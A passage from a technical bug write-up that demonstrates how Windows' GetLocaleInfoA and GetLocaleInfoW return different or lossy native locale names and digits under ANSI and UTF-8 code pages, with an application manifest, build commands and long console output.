    			GetLocaleInfoA = 11:	Àç?ðáà¼?àí
    			ANSI » UTF16LE = 11:	Аз?рбај?ан
    0x0000082C LANGUAGE	GetLocaleInfoW = 16:	Азәрбајҹан дили
    			UTF16LE » ANSI = 16:	Àç?ðáà¼?àí äèëè
    			GetLocaleInfoA = 16:	Àç?ðáà¼?àí äèëè
    			ANSI » UTF16LE = 16:	Аз?рбај?ан дили
    0x0000042C COUNTRY	GetLocaleInfoW = 11:	Azərbaycan
    			UTF16LE » ANSI = 11:	Az?rbaycan
    			GetLocaleInfoA = 11:	Az?rbaycan
    			ANSI » UTF16LE = 11:	Az?rbaycan
    0x0000042C LANGUAGE	GetLocaleInfoW = 15:	Azərbaycan­ılı
    			UTF16LE » ANSI = 15:	Az?rbaycan­ýlý
    			GetLocaleInfoA = 15:	Az?rbaycan­ýlý
    			ANSI » UTF16LE = 15:	Az?rbaycan­ılı
    0x0000042B COUNTRY	GetLocaleInfoW = 9:	Հայաստան
    			UTF16LE » ANSI = 9:	????????
    			GetLocaleInfoA = 9:	????????
    			ANSI » UTF16LE = 9:	????????
    0x0000042B LANGUAGE	GetLocaleInfoW = 8:	Հայերեն
    			UTF16LE » ANSI = 8:	???????
    			GetLocaleInfoA = 8:	???????
    			ANSI » UTF16LE = 8:	???????
    0x0000042A COUNTRY	GetLocaleInfoW = 9:	Việt Nam
    			UTF16LE » ANSI = 9:	Vi?t Nam
    			GetLocaleInfoA = 9:	Vi?t Nam
    			ANSI » UTF16LE = 9:	Vi?t Nam
    0x0000042A LANGUAGE	GetLocaleInfoW = 12:	Tiếng Việt
    			UTF16LE » ANSI = 11:	Ti?ng Vi?t
    			GetLocaleInfoA = 12:	Tiêìng Vi?t
    			ANSI » UTF16LE = 12:	Tiếng Vi?t
    0x00000429 DIGITS	GetLocaleInfoW = 11:	۰۱۲۳۴۵۶۷۸۹
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x00000429 COUNTRY	GetLocaleInfoW = 6:	ایران
    			UTF16LE » ANSI = 6:	Ç?ÑÇä
    			GetLocaleInfoA = 6:	ÇíÑÇä
    			ANSI » UTF16LE = 6:	ايران
    0x00007C28 COUNTRY	GetLocaleInfoW = 11:	Тоҷикистон
    			UTF16LE » ANSI = 11:	Òî?èêèñòîí
    			GetLocaleInfoA = 11:	Òî?èêèñòîí
    			ANSI » UTF16LE = 11:	То?икистон
    0x00007C28 LANGUAGE	GetLocaleInfoW = 7:	Тоҷикӣ
    			UTF16LE » ANSI = 7:	Òî?èê?
    			GetLocaleInfoA = 7:	Òî?èê?
    			ANSI » UTF16LE = 7:	То?ик?
    0x00000428 COUNTRY	GetLocaleInfoW = 11:	Тоҷикистон
    			UTF16LE » ANSI = 11:	Òî?èêèñòîí
    			GetLocaleInfoA = 11:	Òî?èêèñòîí
    			ANSI » UTF16LE = 11:	То?икистон
    0x00000428 LANGUAGE	GetLocaleInfoW = 7:	Тоҷикӣ
    			UTF16LE » ANSI = 7:	Òî?èê?
    			GetLocaleInfoA = 7:	Òî?èê?
    			ANSI » UTF16LE = 7:	То?ик?
    0x00000420 DIGITS	GetLocaleInfoW = 11:	۰۱۲۳۴۵۶۷۸۹
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x00000420 LANGUAGE	GetLocaleInfoW = 6:	اُردو
    			UTF16LE » ANSI = 5:	?ÑÏæ
    			GetLocaleInfoA = 6:	ÇõÑÏæ
    			ANSI » UTF16LE = 6:	اُردو
    0x00004001 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	0123456789
    			ANSI » UTF16LE = 11:	0123456789
    0x00003C01 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	0123456789
    			ANSI » UTF16LE = 11:	0123456789
    0x00003801 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	0123456789
    			ANSI » UTF16LE = 11:	0123456789
    0x00003401 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	0123456789
    			ANSI » UTF16LE = 11:	0123456789
    0x00003001 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	0123456789
    			ANSI » UTF16LE = 11:	0123456789
    0x00002C01 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	0123456789
    			ANSI » UTF16LE = 11:	0123456789
    0x00002801 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	0123456789
    			ANSI » UTF16LE = 11:	0123456789
    0x00002401 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	0123456789
    			ANSI » UTF16LE = 11:	0123456789
    0x00002001 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	0123456789
    			ANSI » UTF16LE = 11:	0123456789
    0x00000C01 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	0123456789
    			ANSI » UTF16LE = 11:	0123456789
    0x00000801 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	0123456789
    			ANSI » UTF16LE = 11:	0123456789
    0x00000401 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	0123456789
    			ANSI » UTF16LE = 11:	0123456789
    Note: here the output of substitution characters ? is expected normal behaviour!

    OOPS: just for the 3 LCType parameter values LOCALE_SNATIVECTRYNAME, LOCALE_SNATIVECURRENCY and LOCALE_SNATIVELANGNAME, the output from both forms of the GetLocaleInfo() function differs in 128 cases!

  4. Create the text file quirk36.xml with the following content next to the console application quirk36.exe built in step 2.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2004-2024, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
        <assemblyIdentity name='Quirk36' processorArchitecture='*' type='win32' version='0.8.1.5' />
        <application xmlns='urn:schemas-microsoft-com:asm.v3'>
            <windowsSettings>
                <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
            </windowsSettings>
        </application>
        <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
            <application>
                <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
            </application>
        </compatibility>
        <description>Quirk36 Console Application</description>
    </assembly>
    Note: the double use of an XML element named application is (at least) clumsy and error-prone!
  5. Embed the Application Manifest quirk36.xml created in step 4. in the console application quirk36.exe built in step 2.:

    MT.EXE /CANONICALIZE /MANIFEST quirk36.xml /OUTPUTRESOURCE:quirk36.exe
    Note: the Manifest Tool MT.exe is shipped with the Windows Software Development Kit.
    Microsoft (R) Manifest Tool version 6.1.7716.0
    Copyright (c) Microsoft Corporation 2009.
    All rights reserved.
  6. Execute the console application quirk36.exe modified in step 5. to demonstrate the (mis)behaviour:

    VER
    .\quirk36.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Microsoft Windows [Version 10.0.22621.1105]
    
    0x000009FF DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » UTF8 = 21:	٠١٢٣٤٥٦٧٨٩
    			GetLocaleInfoA = 11:	0123456789
    			UTF8 » UTF16LE = 11:	0123456789
    0x000009FF COUNTRY	GetLocaleInfoW = 22:	[Ρšеϋďŏ Мīґґθřėď !!!]
    			UTF16LE » UTF8 = 36:	[Ρšеϋďŏ Мīґґθřėď !!!]
    			GetLocaleInfoA = 22:	[?????? ???????? !!!]
    			UTF8 » UTF16LE = 22:	[?????? ???????? !!!]
    0x000009FF LANGUAGE	GetLocaleInfoW = 22:	[Рѕёůđó Ľαʼnġџåģе !!!]
    			UTF16LE » UTF8 = 36:	[Рѕёůđó Ľαʼnġџåģе !!!]
    			GetLocaleInfoA = 22:	[?????? ???????? !!!]
    			UTF8 » UTF16LE = 22:	[?????? ???????? !!!]
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x000005FE
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x000005FE
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000901
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000501
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000501
    0x00007C92 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » UTF8 = 21:	٠١٢٣٤٥٦٧٨٩
    			GetLocaleInfoA = 11:	0123456789
    			UTF8 » UTF16LE = 11:	0123456789
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C92
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C92
    0x00000492 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » UTF8 = 21:	٠١٢٣٤٥٦٧٨٩
    			GetLocaleInfoA = 11:	0123456789
    			UTF8 » UTF16LE = 11:	0123456789
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000492
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000492
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000491
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000491
    0x0000048C DIGITS	GetLocaleInfoW = 11:	۰۱۲۳۴۵۶۷۸۹
    			UTF16LE » UTF8 = 21:	۰۱۲۳۴۵۶۷۸۹
    			GetLocaleInfoA = 11:	??????????
    			UTF8 » UTF16LE = 11:	??????????
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000048C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000048C
    0x00007C86 LANGUAGE	GetLocaleInfoW = 8:	Kʼicheʼ
    			UTF16LE » UTF8 = 10:	Kʼicheʼ
    			GetLocaleInfoA = 8:	K'iche'
    			UTF8 » UTF16LE = 8:	K'iche'
    0x00000486 LANGUAGE	GetLocaleInfoW = 8:	Kʼicheʼ
    			UTF16LE » UTF8 = 10:	Kʼicheʼ
    			GetLocaleInfoA = 8:	K'iche'
    			UTF8 » UTF16LE = 8:	K'iche'
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000485
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000485
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000484
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000484
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000482
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000480
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000480
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000047E
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000047C
    0x00000475 COUNTRY	GetLocaleInfoW = 20:	ʻAmelika Hui Pū ʻIa
    			UTF16LE » UTF8 = 23:	ʻAmelika Hui Pū ʻIa
    			GetLocaleInfoA = 20:	?Amelika Hui Pu ?Ia
    			UTF8 » UTF16LE = 20:	?Amelika Hui Pu ?Ia
    0x00000475 LANGUAGE	GetLocaleInfoW = 15:	ʻŌlelo Hawaiʻi
    			UTF16LE » UTF8 = 18:	ʻŌlelo Hawaiʻi
    			GetLocaleInfoA = 15:	?Olelo Hawai?i
    			UTF8 » UTF16LE = 15:	?Olelo Hawai?i
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000474
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000474
    0x00000470 COUNTRY	GetLocaleInfoW = 9:	Naịjịrịa
    			UTF16LE » UTF8 = 15:	Naịjịrịa
    			GetLocaleInfoA = 9:	Na?j?r?a
    			UTF8 » UTF16LE = 9:	Na?j?r?a
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000046E
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000046E
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000046D
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000046D
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C6B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000046A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000046A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000466
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000462
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C5F
    0x00007C5F LANGUAGE	GetLocaleInfoW = 18:	Tamaziɣt n laṭlaṣ
    			UTF16LE » UTF8 = 23:	Tamaziɣt n laṭlaṣ
    			GetLocaleInfoA = 18:	Tamazi?t n la?la?
    			UTF8 » UTF16LE = 18:	Tamazi?t n la?la?
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000085F
    0x0000085F LANGUAGE	GetLocaleInfoW = 18:	Tamaziɣt n laṭlaṣ
    			UTF16LE » UTF8 = 23:	Tamaziɣt n laṭlaṣ
    			GetLocaleInfoA = 18:	Tamazi?t n la?la?
    			UTF8 » UTF16LE = 18:	Tamazi?t n la?la?
    0x0000045F DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » UTF8 = 21:	٠١٢٣٤٥٦٧٨٩
    			GetLocaleInfoA = 11:	0123456789
    			UTF8 » UTF16LE = 11:	0123456789
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000045F
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000045F
    0x00007C59 DIGITS	GetLocaleInfoW = 11:	۰۱۲۳۴۵۶۷۸۹
    			UTF16LE » UTF8 = 21:	۰۱۲۳۴۵۶۷۸۹
    			GetLocaleInfoA = 11:	??????????
    			UTF8 » UTF16LE = 11:	??????????
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C59
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C59
    0x00000859 DIGITS	GetLocaleInfoW = 11:	۰۱۲۳۴۵۶۷۸۹
    			UTF16LE » UTF8 = 21:	۰۱۲۳۴۵۶۷۸۹
    			GetLocaleInfoA = 11:	??????????
    			UTF8 » UTF16LE = 11:	??????????
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000859
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000859
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000456
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007850
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007850
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000450
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000450
    0x00007C46 DIGITS	GetLocaleInfoW = 11:	۰۱۲۳۴۵۶۷۸۹
    			UTF16LE » UTF8 = 21:	۰۱۲۳۴۵۶۷۸۹
    			GetLocaleInfoA = 11:	??????????
    			UTF8 » UTF16LE = 11:	??????????
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C46
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C46
    0x00000846 DIGITS	GetLocaleInfoW = 11:	۰۱۲۳۴۵۶۷۸۹
    			UTF16LE » UTF8 = 21:	۰۱۲۳۴۵۶۷۸۹
    			GetLocaleInfoA = 11:	??????????
    			UTF8 » UTF16LE = 11:	??????????
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000846
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000846
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000444
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000444
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C43
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C43
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007843
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007843
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000843
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000843
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000443
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000443
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000442
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000442
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000440
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000440
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000083C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C3B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000783B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000743B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000743B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000703B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000703B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000243B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000243B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000203B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000203B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001C3B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000183B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000183B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000143B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000103B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C3B
    0x0000083B COUNTRY	GetLocaleInfoW = 7:	Ruoŧŧa
    			UTF16LE » UTF8 = 9:	Ruoŧŧa
    			GetLocaleInfoA = 7:	Ruotta
    			UTF8 » UTF16LE = 7:	Ruotta
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000083B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000043B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000438
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000438
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000042F
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000042F
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C2E
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000082E
    0x0000042E COUNTRY	GetLocaleInfoW = 7:	Němska
    			UTF16LE » UTF8 = 8:	Němska
    			GetLocaleInfoA = 7:	Nemska
    			UTF8 » UTF16LE = 7:	Nemska
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000042E
    0x0000782C COUNTRY	GetLocaleInfoW = 11:	Azərbaycan
    			UTF16LE » UTF8 = 12:	Azərbaycan
    			GetLocaleInfoA = 11:	Az?rbaycan
    			UTF8 » UTF16LE = 11:	Az?rbaycan
    0x0000782C LANGUAGE	GetLocaleInfoW = 11:	azərbaycan
    			UTF16LE » UTF8 = 12:	azərbaycan
    			GetLocaleInfoA = 11:	az?rbaycan
    			UTF8 » UTF16LE = 11:	az?rbaycan
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000742C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000742C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000082C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000082C
    0x0000042C COUNTRY	GetLocaleInfoW = 11:	Azərbaycan
    			UTF16LE » UTF8 = 12:	Azərbaycan
    			GetLocaleInfoA = 11:	Az?rbaycan
    			UTF8 » UTF16LE = 11:	Az?rbaycan
    0x0000042C LANGUAGE	GetLocaleInfoW = 11:	azərbaycan
    			UTF16LE » UTF8 = 12:	azərbaycan
    			GetLocaleInfoA = 11:	az?rbaycan
    			UTF8 » UTF16LE = 11:	az?rbaycan
    0x0000042A COUNTRY	GetLocaleInfoW = 9:	Việt Nam
    			UTF16LE » UTF8 = 11:	Việt Nam
    			GetLocaleInfoA = 9:	Vi?t Nam
    			UTF8 » UTF16LE = 9:	Vi?t Nam
    0x0000042A LANGUAGE	GetLocaleInfoW = 11:	Tiếng Việt
    			UTF16LE » UTF8 = 15:	Tiếng Việt
    			GetLocaleInfoA = 11:	Ti?ng Vi?t
    			UTF8 » UTF16LE = 11:	Ti?ng Vi?t
    0x00000429 DIGITS	GetLocaleInfoW = 11:	۰۱۲۳۴۵۶۷۸۹
    			UTF16LE » UTF8 = 21:	۰۱۲۳۴۵۶۷۸۹
    			GetLocaleInfoA = 11:	??????????
    			UTF8 » UTF16LE = 11:	??????????
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000429
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000429
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C28
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C28
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000428
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000428
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000427
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000426
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000424
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000423
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000423
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000422
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000422
    0x00000820 DIGITS	GetLocaleInfoW = 11:	۰۱۲۳۴۵۶۷۸۹
    			UTF16LE » UTF8 = 21:	۰۱۲۳۴۵۶۷۸۹
    			GetLocaleInfoA = 11:	??????????
    			UTF8 » UTF16LE = 11:	??????????
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000820
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000820
    0x00000420 DIGITS	GetLocaleInfoW = 11:	۰۱۲۳۴۵۶۷۸۹
    			UTF16LE » UTF8 = 21:	۰۱۲۳۴۵۶۷۸۹
    			GetLocaleInfoA = 11:	??????????
    			UTF8 » UTF16LE = 11:	??????????
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000420
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000420
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000041F
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000041F
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVEDIGITS of LCID 0x0000041E
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000041E
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000041E
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000041C
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000041B
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00006C1A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00006C1A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000641A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000641A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000301A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000301A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000281A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000281A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000201A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000201A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001C1A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001C1A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C1A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C1A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000081A
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000819
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000819
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000419
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000419
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000818
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000418
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000418
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000816
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000416
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C14
    MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000414
